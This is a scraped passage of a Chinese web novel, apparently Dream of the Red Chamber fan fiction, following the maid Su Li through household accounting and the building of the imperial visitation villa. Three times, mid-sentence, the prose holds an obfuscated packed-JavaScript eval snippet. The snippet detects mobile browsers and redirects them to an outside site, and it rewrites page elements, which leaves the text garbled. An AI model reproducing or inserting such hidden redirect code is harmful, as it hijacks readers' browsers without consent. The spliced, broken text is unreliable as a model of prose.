自荷花宴后，苏璃心中便似揣了只兔子，时不时惊跳一下。水澈那清冷的目光、看似随意却句句机锋的问话，如同在她平静的生活湖面投下了一颗石子，涟漪久久不散。 她反复思量，这位北静王府的四爷，为何会对她一个丫鬟如此留意？ 是单纯的好奇，还是别有深意？ 她告诫自己需更加谨言慎行，将更多精力投入到繁琐的账目核对与内务管理中，几乎足不出户。 这日，凤姐吩咐下来，因要赶制几件秋衣，府中库房里一批往年积存的杭绸、湖绉绉，需得仔细清点数目、查验有无霉蛀，好决定是取用还是另行采买。这差事琐碎，却需极细心，平儿便派了苏璃带着两个小丫鬟，去库房料理。 忙了大半日，才将一应绸缎清点查验完毕，登记造册。苏璃揉了揉酸涩的眼，看看时辰尚早，便对两个小丫鬟道：“你们先将册子送回去给平儿姐姐过目，我再去一趟‘百巧斋’。” “百巧斋”是城南一家颇有名气的杂货铺子，针头线脑、笔墨纸砚、乃至些新奇巧物，一应俱全，价格也公道，府里日常些零碎采买，常与它家打交道。苏璃想起前日核对账目时，发现给姑娘们做针线用的顶针、小巧剪刀等物损耗颇快，库存已是不多，需得添补一些。 再者，那日水澈问起紫檀文具匣的匠人，虽然后来平儿已通过别的渠道回了话，但她心中总觉此事未了，想去铺子里顺便探问一句，也算尽了心。她如今身份不同，出府需得回明，但这类小事，与门上管事的妈妈说一声，记录在册，倒也便宜。 两个小丫鬟答应着去了。苏璃略整理了下衣裳，便从西角门出了府，径往城南而去。 时值午后，长街上市声熙攘，车马粼粼。苏璃许久未独自出门，感受着这市井烟火气，连日来的紧绷心绪稍稍松快了些。她步履轻快，不多时便到了“百巧斋”门口。铺面不大，却收拾得干净齐整，货架林立，各色物品琳琅满目。 掌柜的是个五十来岁的精干老者，认得她是荣国府的丫鬟，见其衣着气度不凡，心知是有些体面的，忙笑脸相迎：“姑娘来了，快请进！今日需要些什么？” 苏璃福了一福，道：“掌柜的安好。府里需采买些顶针、小剪刀、并上好的绣花针各两盒。”说着，递上一张早已写好的单子。 掌柜接过，连声应下，吩咐伙计去取货，又让座倒茶。苏璃道了谢，却只站着，目光看似随意地扫过货架，状似无意地问道：“掌柜的，前儿府里宴客，用了贵号去年送来的一只紫檀嵌螺钿钿文具匣，北静王府的世子爷见了甚是喜欢，问起是贵号哪位师傅的手艺？不知可方便告知？” 掌柜的一听“北静王府”四字，神色更恭敬了几分，忙道：“姑娘客气了！能入世子爷的青眼，是小店的福分。那只匣子……若没记错，应是敝号一位姓陈的老师傅的手艺，陈师傅做了一辈子细木活，尤其擅长镶嵌，只是如今年纪大了，眼睛不甚好，已不大接精细活了。姑娘若需要，小店还有几位手艺不错的师傅……” 正说着，伙计已将苏璃要的货物包好送来。苏璃付了银钱，接过包袱，笑道：“有劳掌柜的。我不过白问一句，回去禀明主子便是。”又寒暄两句，便告辞出来。 她心下稍安，总算将此事问明，回去也好交代。提着包袱，她顺着来路往回走，心中盘算着府中诸事，不觉走到一条相对僻静的巷口。正要拐弯，忽见巷子深处一棵老槐树下，立着一人，牵着一匹通体乌黑的骏马，似是正在等候。 此时夕阳西斜，金色的余晖透过枝叶缝隙，斑驳地洒在那人身上。他穿着一身玄色锦袍，未戴冠，只以一根玉簪束发，身姿挺拔，侧脸线条在光影中显得格外清晰冷峻，不是水澈又是谁？ 苏璃心头猛地一跳，下意识便想退开，却已来不及。水澈仿佛有所感应，恰好转过头来，目光精准地落在了她身上。 四目相对，苏璃避无可避，只得硬着头皮，上前几步，敛衽衽行礼，垂首道：“奴婢苏璃，见过四爷。” 水澈看着她，脸上并无多少意外之色，只淡淡颔首：“苏姑娘。”他目光扫过她手中提着的包袱，“出来办事？” “是，”苏璃恭声答道，“奉奶奶之命，采买些针线之物。”她心中惊疑不定，怎会如此之巧，在此处遇上他？是偶遇，还是……他有意在此？ 水澈“嗯”了一声，并未追问，却将目光投向巷子另一端，语气平淡无波：“方才看见你从百巧斋出来。” 苏璃心中更是一紧，他竟看见了！ 她稳住心神，答道：“是。奴婢顺道去问问前日四爷问起的那只文具匣的匠人。掌柜的说，是铺里一位姓陈的老师傅所做，只是如今已不大接活了。” “有劳姑娘费心。”水澈语气依旧平淡，听不出喜怒。他顿了顿，忽然话锋一转，目光重新落在苏璃脸上，那目光锐利，仿佛能穿透人心，“荣国府近日，月例发放清晰，各房用度也似乎更有章法了。只是，我听闻，各房主子额外支取，如今也需列明用途，核准方可？” 苏璃指尖微微蜷缩，他竟连这等细务都知晓！她谨慎答道：“回四爷的话，府中旧例如此，奴婢不过是依例记录，不敢擅专。” “是么？”水澈嘴角勾起一抹极淡的、近乎嘲讽的弧度，“依例？只怕这‘例’，也是新立的吧。堵住下面人的手容易，堵住上面人的口，却难。尤其……是府里的爷们。” 他这话，竟是直接点破了贾琏琏支取银钱被卡之事！苏璃背脊发凉，强自镇定道：“四爷明鉴，一切皆是奉二奶奶之命行事。奴婢人微言轻，只知道按规矩办事。” 水澈看着她紧绷的侧脸和低垂的眼睫，忽然轻笑一声，那笑声清冷，带着一丝洞察：“规矩是死的，人是活的。你这般‘按规矩办事’，看似公允，却也断了府中爷们在外应酬、结交人情的许多便利。短期看，是省了银子，长了规矩；长远看，只怕会埋下隐患。凤奶奶管家不易，需在‘省俭’与‘体面’之间拿捏分寸。你这把刀，若是用得太过刚直，不留余地，恐会先伤了她自己。” 这番话，如同冰水浇头，让苏璃瞬间清醒！她一直以为自己的策略是在帮王熙凤开源节流，稳固权力，却从未从“爷们体面”、“人情往来”这个角度深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908603|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思过！水澈的话，一针见血地指出了她策略中最大的潜在风险得罪贾琏琏，乃至可能影响贾府外部的人际网络！而这，恰恰是王熙凤作为妻子、作为管家奶奶，最需要平衡，也最容易被攻讦的一点！ 她猛地抬起头，第一次真正对上了水澈的目光。那双深邃的眸子里，没有轻视，没有嘲讽，只有一种冷静到近乎残酷的剖析。他并非在指责她，而是在……点醒她？ “四爷……”她声音微涩，一时不知该如何接话。心中却似惊涛骇浪。她来自现代，习惯于数据、规则、效率，却忽略了这深宅大院、勋贵之家中，那些盘根错节的人情世故和“体面”背后复杂的政治经济学。水澈的视角，是她从未想过，却又无比真实的。 见她神色震动，水澈目光微缓，语气依旧平淡：“当然，你若只想做个循规蹈矩、记录账目的丫头，当我没说。但若真想替凤奶奶分忧，甚至……在这府里立足得更稳些，便不能只低头看账本，还需抬头看人，看势。” 他牵了牵手中的缰绳，那匹黑马打了个响鼻，蹄子轻轻刨了下地面。“开源节流，思路不错。库房清货，是步好棋。但下一步，与其在月例用度上锱铢必较，惹得怨声载道，不如想想，如何能真正‘开源’？比如，你方才去的百巧斋，这类铺子，荣国府名下难道没有？若有，是亏是盈？为何会亏？会盈？” 苏璃怔怔地看着他，心中震撼无以复加。他不仅知道她清理库房，竟连她“开源节流”的想法都似乎了然于胸！而且，他提出的问题，直指核心如何创造真正的价值，而非仅仅节流，甚至内耗！ 这个男人，与她见过的所有人都不同。贾宝玉厌恶经济仕途，沉溺风月；贾琏琏浪荡挥霍，只顾眼前；王熙凤精明狠辣，却困于内宅争斗。唯有他，水澈，站在一个更高的、冷静乃至冷酷的视角，洞悉利弊，直指要害。他看的不是一府一院的得失，而是势，是局。 一种奇异的、混合着警惕、震撼乃至一丝……钦佩的情绪，在她心中滋生。她第一次觉得，自己那些来自现代的见识，在这个深不可测的年轻宗室面前，竟显得有些稚嫩和片面。 “四爷……为何与奴婢说这些？”她终于问出了心中的疑惑。 水澈深深看了她一眼，那目光复杂难辨，有探究，有审视，或许还有一丝极淡的……兴趣？ “或许，”他淡淡道，“只是觉得，你这丫头，有点意思。不想看你走错了路，折得太快。”说罢，他不再多言，牵马转身，玄色的身影很快消失在巷子尽头的暮色里。 苏璃独自站在原地，手中包袱沉甸甸的，心中更是波涛汹涌。夕阳的余晖将她身影拉得老长。水澈的话，如同在她封闭的世界里打开了一扇窗，让她看到了更广阔、也更复杂的天地。欣赏？或许有。但更多的，是一种前所未有的警醒和……动力。 她抬头望向荣国府高耸的院墙，第一次如此清晰地意识到，她面对的，不仅仅是府内的明枪暗箭，还有府外这些洞察一切、冷眼旁观的眼睛。而水澈，无疑是其中最锐利的一双。 苏璃握紧了手中的包袱，眸中闪过一丝坚定与决然。 31. 省亲别墅筹建 自那日在巷口一别，水澈那番冷冽又鞭辟入里的话语，便如同烙印般刻在了苏璃心上。 她反复咀嚼着“堵住上面人的口，却难”、“刚直易折”、“真正开源”这些字眼，心中原有的那点因账目清晰、用度节省而生出的自得，被彻底打碎。她开始用更审慎、也更复杂的眼光，重新审视自己在荣国府的处境与作为。 她不再仅仅满足于将账目理清，将月例按时发放，而是开始有意识地将水澈提到的“人情”、“体面”等因素，融入到日常的细微决策中。 比如，对各房主子偶尔超支的用度申请，若数额不大、理由尚可，她便不再像初时那般强硬驳回，而是记录在案后，寻个由头在平儿或凤姐面前略提一句，将最终裁决权交还，自己只做忠实的记录者和温和的建议者。 对贾琏处支取银钱，她更是加倍小心，但凡有据可查、名目正当的，一律迅速办理，绝不拖延，甚至偶尔还会“提醒”平儿或凤姐，某笔应酬关乎府外体面，宜早做预备。 这般行事，看似退让，实则是以退为进，既全了各方颜面，减少了直接冲突，又将矛盾的焦点从自己身上移开，凸显了凤姐的最终权威。 凤姐冷眼瞧着，见她越发沉稳练达，懂得审时度势，心中那份因王夫人敲打而生的疑虑渐渐消散，待她愈发倚重。府中关于她“持宠而骄”、“刻薄刁钻”的流言，也因她这般“通情达理”而悄然平息了不少。 然而，就在苏璃以为可以稍作喘息，着手悄悄调研府中那些亏损铺面的情况，思量水澈所说的“真正开源”时，一场更大的风波，已伴随着浩荡皇恩，悄然降临。 这日傍晚，苏璃刚核对完一批采买单子，正准备回房，忽见林之孝家的急匆匆走来，脸上带着难以抑制的兴奋与紧张，见到她便道：“璃姑娘，快！二奶奶让你立刻过去，有天大的喜事！” 苏璃心中一动，忙跟着来到凤姐正房。只见屋内灯火通明，凤姐竟少有的未曾卸妆，穿着见客的大衣裳，在屋里来回踱步，脸上又是喜，又是忧，眉宇间却透着一股前所未有的亢奋。平儿在一旁也是神色凝重，手里捏着一封泥金大红帖束。 见苏璃进来，凤姐停下脚步，目光灼灼地看向她，声音因激动而略显急促：“你来了！好，好！正是用人之际！宫里传出天大的恩典，皇上体贴万人之心，竟准许宫里嫔妃才人回家省亲！咱们家大姑娘，晋封了凤藻宫尚书，加封贤德妃，不日便要归家省亲了！” 苏璃脑中“嗡”的一声，虽早有心理准备，但亲耳听到这消息，仍觉震撼。省亲！大观园！这标志着贾府“鲜花着锦、烈火烹油”之盛、却也埋下衰败隐患的巨大工程，终于要开始了！ “这……这真是天大的喜事！恭喜奶奶！贺喜奶奶！”苏璃连忙敛衽道喜。 “喜是喜，可这担子……”凤姐深吸一口气，指着平儿手中的帖束，“旨意已下，咱们府里要即刻筹建省亲别院！这是光宗耀祖、体察天恩的头等大事，半点马虎不得！银子像水似的花出去且不说，这工程筹划、物料采买、人工调度、一应布置……千头万绪，稍有差池，便是天大的不是！” 她说着，目光紧紧盯住苏璃：“如今府里情况，你比我清楚。外面看着轰轰烈烈，内里却是个空架子。这般大事，银子从哪里来？东西从哪里采办？人工如何调度才能不误工期？这些，都要立刻拿出个章程来！老太太、太太们只要体面风光，这千斤重担，可就落在你我肩上了！” 苏璃心知这是考验，更是机遇。 省亲别墅的筹建，涉及银钱物料浩繁，正是她施展所能、进一步巩固地位的绝佳时机，但同时也是巨大的陷阱，一步踏错，便是万劫不复。 她沉吟片刻，谨慎开口道：“奶奶，此乃皇恩浩荡，府中头等大事，自然要竭尽全力，办得风光体面。银子一项，公中现存恐怕不足，或可先从金陵老宅那边紧急调拨一些，再动用部分奶奶的体己，或……或与几家相熟的银号暂借些头寸，以应燃眉之急。 待日后庄子上钱粮上来，再行归还。物料采买，需得派极妥当的人，分头办理，木石、砖瓦、油漆、绸缎、器玩，皆需顶尖货色，价格却要多方比较，防止奸商抬价。人工调度更是要紧，需得请几位老成的管家共同监理，划分地段，责任到人，日夜赶工，方可不误懿旨。” 凤姐边听边点头，眼中闪过激赏：“不错！与我想的大体不差！只是这银钱支取、物料核价、人工记录，账目必须一清二楚，不能有半分糊涂！如今府里人口杂，眼睛多，稍有含糊，便生事端。这总理账目、核对单据的重任，非同小可，平儿要帮我应付外面人情往来，内里这一摊子，我便交给你了！” 苏璃心头一凛，知道这已是将核心的财权交托。她肃容道：“蒙奶奶信重，奴婢定当竭尽全力，每一笔支出，必记录在案，每一张单据，必核对清楚，绝不敢有负奶奶所托！” “好！”凤姐一拍炕几，“明日我便回明老太太、太太，设立总理省亲别墅筹建事宜的账房，由你总核所有银钱出入、物料账目！林之孝、吴新登、来旺等人分头采买办事，所有支取，必经你手核对画押，方可生效！” 命令一下，整个荣国府如同被投入滚油的冷水，瞬间沸腾起来。 次日，消息传开，合府上下，无人不欢欣踊跃，个个面上皆有得意之状。宁国府那边也得了信儿，贾珍、尤氏并贾蓉，都过来商议，两府并作一处，轰轰烈烈地操办起来。 贾赦、贾政等人只顾着与清客相公们商议选址、画图样、题匾额等风光雅事。具体的银钱、采买、人工等俗务，自然全落在了“最能干”的凤姐身上。凤姐更是抖擞精神，事事躬亲，不辞劳苦。 苏璃则带着几个识文断字、手脚干净的小丫头，在靠近仪门的一间宽敞厢房里设立了临时账房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908604|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过几日，各种支取银两的条子、各色物料的报价单、工匠人夫的工钱册子，便如雪片般飞来。她每日埋首于堆积如山的账册单据之中，拨算盘珠子拨得手腕酸麻，核对数目核得眼花缭乱。 她严格遵循着水澈那日无意中点醒的“规矩”，对所有经手账目，无论巨细，皆登记造册，条款分明。 采买上报价，她必暗中派人去市面询价对比；工匠工钱，亦按市价公允核定；就连每日的伙食开销、茶水点心，也一笔笔记得清楚。她深知，这省亲别墅就是个无底洞，不知多少双眼睛盯着这块肥肉，稍有不慎，便会被人抓住把柄。 这日，贾蔷、贾菖两个来支取南下采买戏子、乐器、行头的银子，数目不小。苏璃仔细核对了单子，见所列物品、价格大致符合行情，便按例请凤姐画了押，如数支给。两人拿了银子，欢天喜地去了。 不多时，贾琏又拿着单子来支取采买古董文玩的款项。苏璃接过单子，见上面列着几样前朝字画、古玩玉器，价格高昂。她心中存疑，这类物品价值浮动极大，最易做手脚，便谨慎问道：“二爷，这几样东西，不知是托哪家古玩铺子经办？可有大概的估价单子？” 贾琏琏近日因省亲之事，在外应酬极多，手头颇紧，见苏璃询问，脸上便有些挂不住，冷笑道：“怎么？如今我花家里的银子，倒要向你一个丫头报备明细了？这是老太太、太太点了头，要装点体面的东西！耽误了事，你担待得起吗？” 苏璃心中不惧，面上却依旧恭谨：“二爷息怒。并非奴婢多事，只是如今所有省亲开销，皆需登记在案，以备查核。若能有铺家的估价单子，账目上也更清楚些，免得日后有人说闲话。这也是二奶奶再三交代的规矩。” 她抬出凤姐和“规矩”，贾琏琏一时语塞，又见苏璃神色平静，并无刁难之意，只得悻悻道：“是‘博古轩’的老掌柜经手，估价单子我回头让人送来！”说罢，夺过单子，气冲冲走了。 平儿在一旁看在眼里，悄悄对苏璃道：“你如今越发谨慎了。这般应对，很好。” 苏璃低声道：“姐姐过奖了。非常之时，行非常之事，不得不慎。” 她口中应对着，心中却如明镜一般。这省亲别墅的筹建，才刚开了个头，更大的风波，还在后头。那流水般花出去的银子，那无数经手采买的人，那隐藏在“皇恩浩荡”、“光宗耀祖”背后的巨大利益漩涡，才是真正的考验。而她，已被推到了这漩涡的最中心。 窗外，隐隐传来远处工地奠基动土的号子声和工匠们的喧哗。苏璃埋下头，继续拨动算盘，那清脆的响声，在这片喧嚣的背景音中，显得格外清晰，也格外……孤寂。 她知道，从这一刻起，她已与这座即将拔地而起的、象征着无上荣光也预示着盛极而衰的省亲别墅，紧紧捆绑在了一起。 福兮？祸兮？唯有步步为营，如履薄冰。 32. 巨款流转 省亲别墅的筹建，如同在荣国府这潭看似平静的深水中投下了一块巨石，激起的不仅是荣耀与喧嚣，更是汹涌澎湃的银钱暗流。旨意一下，银子便不再是银子，成了泼天般洒出去的流水。 公中的库银、各房的体己、乃至暗中挪借的官中款项，汇聚成一股看不见的洪流，日夜不息地通过无数双手，流向木石砖瓦、绸缎器玩、以及各色人等的口袋。 苏璃所在的临时账房，成了这股洪流最重要的闸口。每日里，从清晨到深夜，人来人往，络绎不绝。 林之孝支取采买大木梁柱的定金，吴新登来领石料砖瓦的款项，来旺媳妇结算工匠饭食工钱，贾蔷、贾菖南下采买戏班行头的使费，贾琏琏置办古董陈设的开销……一张张盖着管事印章、画着押的支取单子，雪片般飞到苏璃的案头。 她端坐于一张宽大的紫檀木书案后，案上堆满了账册、单据、算盘。几个精心挑选的小丫鬟在一旁帮着磨墨、登记、整理。屋内只闻算盘珠子清脆急促的噼啪声，和笔尖划过纸面的沙沙声。 苏璃神色沉静，目光锐利，每一张单子过来，她必先快速扫过用途、数额、经手人，心中默算是否与近期采买计划、市价行情大致相符，再与手中底账核对印章、笔迹。稍有含糊不清、数目不合规之处，她便搁置一旁，或退回要求说明，或标记存疑，待请示凤姐或平儿后定夺。但凡核准，她便提笔蘸饱朱砂，在单子上清晰画押，登记入册，绝无拖延。 这般严谨到近乎苛刻的流程，起初惹得不少前来支取银钱的管事媳妇、乃至爷们身边的小厮颇为不满。 尤其是贾琏等，为着几笔置办古玩珍器的款子，因苏璃坚持要见铺家估价单或更详细的说明，当面发了几次火，骂她“拿着鸡毛当令箭”、“故意刁难”。 苏璃只垂首静听，待他发作完，方不卑不亢地重申规矩，言明此乃为防错漏、以备上查，并将凤姐的命令抬出。贾琏虽恼，却也知此事关乎贵妃省亲体面，凤姐如今又圣眷正浓、大权在握，不敢十分违拗，只得憋着气回去补办手续。 几次三番下来，众人见这年纪轻轻的丫头油盐不进，铁面无私，且笔笔账目记得清楚明白，纵有怨气，却也抓不到她半分错处，反而若因手续不全被她卡住，耽误了工程进度，自己先要吃挂落。于是渐渐学乖，前来支取时，必先将手续备齐，言语间也客气了许多。连凤姐冷眼瞧着，见她将这般庞杂巨款打理得条不紊，心中也暗自点头，愈发倚重。 这日午后，贾蔷兴冲冲地拿来一张支取单，数额巨大，是用于在苏州采买上等绸缎、绣品及小戏子们的行头。 苏璃接过单子，见上面列着各色织锦、软烟罗、蝉翼纱等名目，数量庞大，价格亦是不菲。她仔细核对着单子与之前议定的采买清单，忽然指着一项“上用内造云锦二十匹”问道：“蔷哥儿，这‘上用内造’的云锦，乃是御用之物，市面上等闲难寻，价格更是昂贵数倍。采买戏装行头，用此等物料，是否过于奢费？且来源是否稳妥？” 贾蔷笑道：“璃姑娘放心，这是珍大爷特意吩咐的，说贵妃省亲，场面非同小可，戏台之上的用度，必要极尽精巧，方显天家气派。这批料子，是托了南边极有门路的皇商经办，断不会有差池。” 苏璃沉吟不语。她记得之前商议时，并未明确指定要用御用级别的料子。贾珍一味追求奢华体面，她是知道的，但此举是否逾制？且这笔开销远超预算。 她提笔在单子上备注了“用料逾常例，价超预算三成，请奶奶示下”字样，然后对贾蔷道：“蔷哥儿，此单数额巨大，且用料非凡，需得回明二奶奶方可支取。你稍坐片刻，我这就去禀报。” 贾蔷脸上笑容微僵，但知苏璃规矩如此，也无可奈何。 苏璃拿着单子去到凤姐正房，将情况说了。凤姐正与几个管事媳妇商议事情，闻言接过单子看了看，眉头微蹙。她自然知道贾珍好面子，但此事确需斟酌。她沉吟片刻，对苏璃道：“你顾虑得是。这样，二十匹减为十匹，其余用上用的杭锦、蜀锦顶替，总价控制在预算之内。你去告诉蔷儿，就说我说的，体面要紧，但也不可太过张扬，惹人议论。让他重新开了单子来支。” 苏璃领命而去。贾蔷听了，虽有些不情愿，但凤姐发了话，也只得照办。苏璃按修改后的单子核发了银两，心中却记下一笔：宁府在采买上用度上，手面颇大，需格外留意。 这边刚打发走贾蔷，那边银库的管事又愁眉苦脸地来回：“璃姑娘，库上现银只剩下不到五千两了，后日要发放大批工匠的工钱，还有几笔石料款要结，恐怕接济不上。” 这早在苏璃预料之中。她平静地问：“金陵老宅那边调拨的银子，何时能到？” “信是前儿送去的，按路程，最快也需七八日。” “七八日……”苏璃心念电转，工程一刻不能停，工钱更是拖不得，否则易生事端。她起身道：“我去回二奶奶。” 凤姐听了银库的回禀，也是吃了一惊，没想到银子花得如此之快。她烦躁地揉了揉额角：“这可如何是好？总不能停了工程！我那体己银子，前几日已挪了一万两进去，如今也所剩无几了。” 苏璃低声道：“奶奶，可否……可否先从几家常来往的银号，暂时挪借一些？待老宅的银子到了，即刻归还。利息方面，或可让林之孝去谈谈。” 凤姐眼中精光一闪，这自然是眼下最快的法子。只是向银号借钱，利息且不说，传出去总是不太好听。她看了苏璃一眼，这丫头倒是敢想。她沉吟道：“……也只好如此了。此事需做得隐秘，你让林之孝悄悄去办，利息压到最低，借款契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908605|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约……你亲自看过，务必周全。” “奴婢明白。”苏璃应下。她知道，这已是涉及府外金融往来，风险更大。她立刻找来林之孝，仔细交代了凤姐的意思，又特别叮嘱借款契约的条款需逐字推敲，绝不可有漏洞。 林之孝领命而去。不过两日，便从“恒舒典”等两家相熟的银号，以府中田庄秋粮为抵押，拆借了三万两现银，利息虽比官中略高，但也算在可接受范围。苏璃仔细核对了契约，确认无误，才请凤姐用了印。银子悄悄入库，暂时缓解了燃眉之急。 然而，这笔巨款流入，如同注入滚油的水，使得账房更加忙碌。苏璃需要将这笔借款单独立账，记录每一笔用途，计算利息，规划还款来源。她几乎是不眠不休，整个人清减了一圈，眼下一片淡淡的青影，但眼神却愈发清亮锐利。 这日深夜，账房内只剩苏璃一人。烛火摇曳，映着她疲惫却专注的侧脸。她正对着一本新立的“借款专项账”，核算今日支取的几笔大额款项。忽然，她的目光在其中一笔支付给“兴隆木石行”的款项上停住了。 这笔款项是用于采购一批名贵的金丝楠木，数额巨大。单据齐全，经手人是吴新登，凤姐也已画押批准。但苏璃注意到，这“兴隆木石行”的掌柜印鉴，与她记忆中上次采买普通石料时那家“兴隆石行”的印鉴，在边框纹路上有极其细微的差异。若非她心细如发，又对印鉴格外留意，几乎难以察觉。 是换了掌柜？还是……另有蹊跷？ 她不动声色，将这张单据单独抽出，压在了一本旧账册下。心中却已警铃大作。省亲工程款项巨大，不知多少双眼睛盯着，多少只手想从中分一杯羹。印鉴的细微差异，可能是她想多了，但也可能是一个危险的信号。 她吹熄了蜡烛，走出账房。夜凉如水，偌大的荣国府沉寂在黑暗中，只有远处省亲别墅的工地上，还隐约传来夜作的声响。苏璃抬头望着满天星斗，心中沉甸甸的。这流转的巨款，既是支撑这繁华盛景的血液，也可能成为吞噬一切的漩涡。她站在这漩涡的中心，如履薄冰。 接下来的日子，她暗中留意着与“兴隆”字号往来的所有账目，并悄悄让一个绝对可靠的小丫头，借采买之名去市面上打听“兴隆木石行”的底细。反馈回来的消息是，确有此商号，专营名贵木料，但背景似乎有些复杂，与几位王府贝勒府上都有往来。 这一日，贾珍又派人送来一张单子，是为别墅内书房采购一批紫檀木、花梨木家具及古玩摆设，指名要“兴隆木石行”承办，价格高得令人咋舌。 苏璃看着单子，又想起那枚有些异常的印鉴，心中疑云更甚。她感到，一张无形的大网，似乎正借着省亲工程的由头，悄悄向荣国府笼罩过来。而这巨款流转的漩涡深处，隐藏的恐怕不仅仅是贪墨那么简单。 33. 暗中布局 省亲别墅的工程如火如荼，银钱如流水般花出去，苏璃白日里埋首于堆积如山的账册单据，拨算盘核数目，应对各色人等，忙得脚不点地。 她将水澈那日点醒的“人情”、“体面”牢记于心，行事越发圆融周至，既严守规矩，又不至过分得罪人，连贾琏琏、贾珍等处支取些逾制的款项，她或婉转提醒，或记录在案呈报凤姐决断，自己绝不硬顶，倒也渐渐磨去了不少明面上的敌意。 然而，每当夜深人静，拖着疲惫的身子回到那间小小的耳房，吹熄了灯，躺在冰冷的床铺上时，白日里那些喧嚣的数字、奉承的笑脸、暗藏机锋的言语便潮水般退去，取而代之的是一种更深沉的清醒与焦虑。 水澈的话，如同警钟，时时在她耳边回响：“堵住上面人的口，却难”、“刚直易折”、“真正开源”。而前世阅读《红楼梦》的记忆，更如同一个巨大的阴影，笼罩着她——这眼前的烈火烹油、鲜花着锦，终究是镜花水月，贾府的败落，几乎是注定的结局。 她如今所做的一切，对这一切的精打细算，呕心沥血，或许能稍稍延缓那一天的到来，但能否改变最终的命运呢？这实在是个问题，若是贾府这艘船沉了，她的命运又该往何处去？ 她不能坐以待毙。 必须为自己，也为这具身体所承载的、对这片屋檐下些许温暖的微弱眷恋，留一条后路。 这条后路，不能系于贾府这艘日渐沉没的破船上，必须向外寻找生机。水澈提到的“真正开源”，与她前世所知的那个时代“资本原始积累”的路径，在她脑中渐渐重合——海外贸易，兴办实业。这是超越这个时代眼光的降维打击，也是风险巨大、绝非她一介奴婢所能轻易染指的领域。但，这是唯一的希望。 她开始利用职务之便，极其隐秘地布局。机会隐藏在省亲工程浩繁的采买清单和往来商户之中。 这日，她核对一批从“粤海记”采买的进口玻璃器皿和自鸣钟的单据时，状似无意地问经手的伙计：“这些洋货倒是精巧，不知贵号除了这些，可还经营别的海外物产？譬如香料、药材，或是些稀罕的种子？” 那伙计见是荣国府得脸的姑娘询问，忙赔笑道：“回姑娘的话，小的们号里主要经营这些珍玩器皿。香料药材也有些，多是供给各大药堂和香铺。种子……倒是少见，不过听说南洋有些奇花异草的种籽，偶尔也有海客带来，只是不成规模。” 苏璃点点头，不再多问，却在心中记下了“粤海记”和“南洋种籽”这几个字。 又一次，江宁织造府送来一批上等贡缎，押送的管事是府里的老人，与贾家相熟。苏璃在核验缎匹、结算余款时，闲聊般提起：“如今这江宁织造的锦缎是越发好了，听说西洋人也极喜爱中国的绸缎，若能贩运出去，利润想必丰厚。” 那管事叹道：“姑娘有所不知，海外贸易那是皇商和几家有门路的大商号才能沾手的生意，风险大着呢！海上风浪不说，光是市舶司的关节、沿海官府的打点，就是天大的难处。咱们这些人家，也就是守着祖业，在内地做些买卖罢了。” 苏璃心中暗忖，果然壁垒森严。但她注意到管事话中提及“皇商”和“几家大商号”，这或许是突破口。 她将日常听到的、与各地商号打交道时旁敲侧击得来的信息，连同账目上反映出的各地物产价格差异、稀缺程度，都用只有自己才看得懂的简化符号和数字，秘密记录在一本看似是杂记的花样子册子空白处。 广州的香料、苏杭的丝绸、景德镇的瓷器、福建的茶叶、辽东的人参……哪些是利润丰厚的商品，哪些商号有海外门路，哪些港口管理相对松弛，她都默默搜集、分析。 光有信息还不够，需要启动资金和人手。这更是难如登天。她一个丫鬟，月钱有限，虽偶有赏赐，但距离经商所需的资本无疑是九牛一毛。而且，她无人可信，无人可用。 这日，她偶然听到平儿与凤姐闲聊，说起老太太陪房周瑞的女婿，名唤冷子兴的，近日因酒后狂言，得罪了官面上的人，吃了官司，家业凋零，正在四处求人打点。苏璃心中一动。冷子兴！《红楼梦》中提及的这个人物，是个古董商人，交际广阔，消息灵通，但也是个趋炎附势、投机钻营之辈。如今他落难，正是收买利用的时机？但此人品性不佳，风险极大。 她按捺下这个危险的念头，继续等待。机会终于再次悄然出现。省亲别墅需要大量名贵花木，其中一些南方珍稀树种，需从广州一带采购。经手此事的，是赖大一个远房侄子，名叫李十儿，常年在外帮贾府打理田庄、采买土产，为人精明，但也颇有几分胆识和野心。 苏璃在核对花木款项时，与李十儿打过几次交道，发现此人不仅对南方物产熟悉，言谈间对海外奇珍异宝也颇有见识，且对现状似乎有些不甘。 一次对账完毕，旁人散去，李十儿凑近几步，压低声音对苏璃道：“璃姑娘办事真是精细，小的佩服。不瞒姑娘说，如今府里这差事，看着风光，实则……唉，也就是混口饭吃。哪比得上那些跑海的，一趟下来，便是几辈子的嚼用。”他眼中闪过一丝羡慕与贪婪。 